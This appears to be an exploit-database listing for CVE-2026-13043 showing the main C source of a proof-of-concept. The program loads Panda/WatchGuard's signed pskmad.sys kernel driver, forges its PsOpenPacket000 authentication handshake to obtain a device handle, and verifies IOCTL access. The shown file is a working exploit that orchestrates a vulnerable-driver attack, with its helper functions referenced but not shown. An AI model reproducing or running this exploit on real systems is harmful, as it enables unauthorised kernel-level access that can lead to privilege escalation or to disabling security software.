Exploit database

GH-5d2ec048d6ffa6959e89b39e82d5a577

themalwareguardian/cve-2026-13043

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-13043

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

01_HandshakeBypass/Main.c

Suggested starting fileC · 5,550 bytes
/*

	CVE-2026-13043 - Panda / WatchGuard pskmad.sys

	Main.c:
		Entry point for the HandshakeBypass program

	This program demonstrates the authentication handshake bypass in the Panda / WatchGuard pskmad.sys kernel driver. It loads the vulnerable driver, forges the PsOpenPacket000 authentication handshake to obtain a device handle, and verifies the IOCTL dispatch path with a bounded self-read test.

	Usage:
		HandshakeBypass.exe <path_to_pskmad.sys>

	Requirements:
		- Administrator privileges (required to load kernel drivers via SCM)
		- Valid pskmad.sys binary (signed by Microsoft Windows Hardware Compatibility Publisher)

*/



// START -> LIBRARIES -------------------------------------------------------------------------------------------------------------------------
// START -> LIBRARIES -------------------------------------------------------------------------------------------------------------------------



#include "HandshakeBypass.h"
#include "KernelDriverManagement.h"



// START -> FUNCTIONS -------------------------------------------------------------------------------------------------------------------------
// START -> FUNCTIONS -------------------------------------------------------------------------------------------------------------------------



// ============================================================================
// PrintBanner
// ============================================================================

// Prints the program banner with CVE information.

static void PrintBanner(void)
{
	printf("\n");
	printf("  ============================================================\n");
	printf("  CVE-2026-13043 - Panda / WatchGuard pskmad.sys\n");
	printf("  Authentication Handshake Bypass (01_HandshakeBypass)\n");
	printf("  ============================================================\n");
	printf("\n");
	printf("  Forges the PsOpenPacket000 EA handshake to obtain\n");
	printf("  authenticated access to the PSMEMDriver device.\n");
	printf("  ============================================================\n");
	printf("\n");
}



// ============================================================================
// main
// ============================================================================

int main(int argc, char *argv[])
{
	// Variables
	HANDLE hDevice = INVALID_HANDLE_VALUE;
	BOOL success = FALSE;

	// Banner
	PrintBanner();

	// Validate arguments
	if (argc < 2)
	{
		LOG_ERROR("Usage: %s <path_to_pskmad.sys>", argv[0]);
		return 1;
	}

	const char *driverPath = argv[1];

	// Verify the driver file exists
	// https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getfileattributesa
	DWORD fileAttrs = GetFileAttributesA(driverPath);
	if (fileAttrs == INVALID_FILE_ATTRIBUTES)
	{
		LOG_ERROR("Driver file not found: %s (Error: %lu)", driverPath, GetLastError());
		return 1;
	}

	LOG_INFO("Driver path: %s", driverPath);
	printf("\n");


	// ========================================================================
	// PHASE 1: Load the vulnerable driver
	// ========================================================================

	LOG_INFO("--- Phase 1: Loading driver ---");

	if (!KDM_LoadDriver(PSKMAD_SERVICE_NAME, driverPath))
	{
		LOG_ERROR("Failed to load driver");
		return 1;
	}

	printf("\n");


	// ========================================================================
	// PHASE 2: Forge the authentication handshake
	// ========================================================================

	LOG_INFO("--- Phase 2: Forging authentication handshake ---");

	hDevice = HSB_OpenDevice();
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		LOG_ERROR("Failed to open device (handshake bypass failed)");
		KDM_UnloadDriver(PSKMAD_SERVICE_NAME);
		return 1;
	}

	LOG_SUCCESS("Device handle obtained: 0x%p", (void *)hDevice);
	printf("\n");


	// ========================================================================
	// PHASE 3: Verify IOCTL dispatch path (bounded self-read)
	// ========================================================================

	LOG_INFO("--- Phase 3: Verifying IOCTL dispatch path ---");

	if (HSB_VerifySelfRead(hDevice))
	{
		LOG_SUCCESS("Self-read verification PASSED");
		LOG_SUCCESS("The driver accepted our forged handshake and processed the IOCTL request");
		success = TRUE;
	}
	else
	{
		LOG_ERROR("Self-read verification FAILED");
		LOG_ERROR("The IOCTL dispatch path is not operational");
	}

	printf("\n");


	// ========================================================================
	// PHASE 4: Cleanup
	// ========================================================================

	LOG_INFO("--- Phase 4: Cleanup ---");

	// Close the device handle
	CloseHandle(hDevice);
	LOG_SUCCESS("Device handle closed");

	// Unload the driver
	KDM_UnloadDriver(PSKMAD_SERVICE_NAME);

	printf("\n");


	// ========================================================================
	// Result
	// ========================================================================

	if (success)
	{
		printf("  ============================================================\n");
		printf("  [+] SUCCESS: Authentication handshake bypass confirmed\n");
		printf("  ============================================================\n");
	}
	else
	{
		printf("  ============================================================\n");
		printf("  [-] FAILURE: Authentication handshake bypass could not be verified\n");
		printf("  ============================================================\n");
	}

	printf("\n");

	return success ? 0 : 1;
}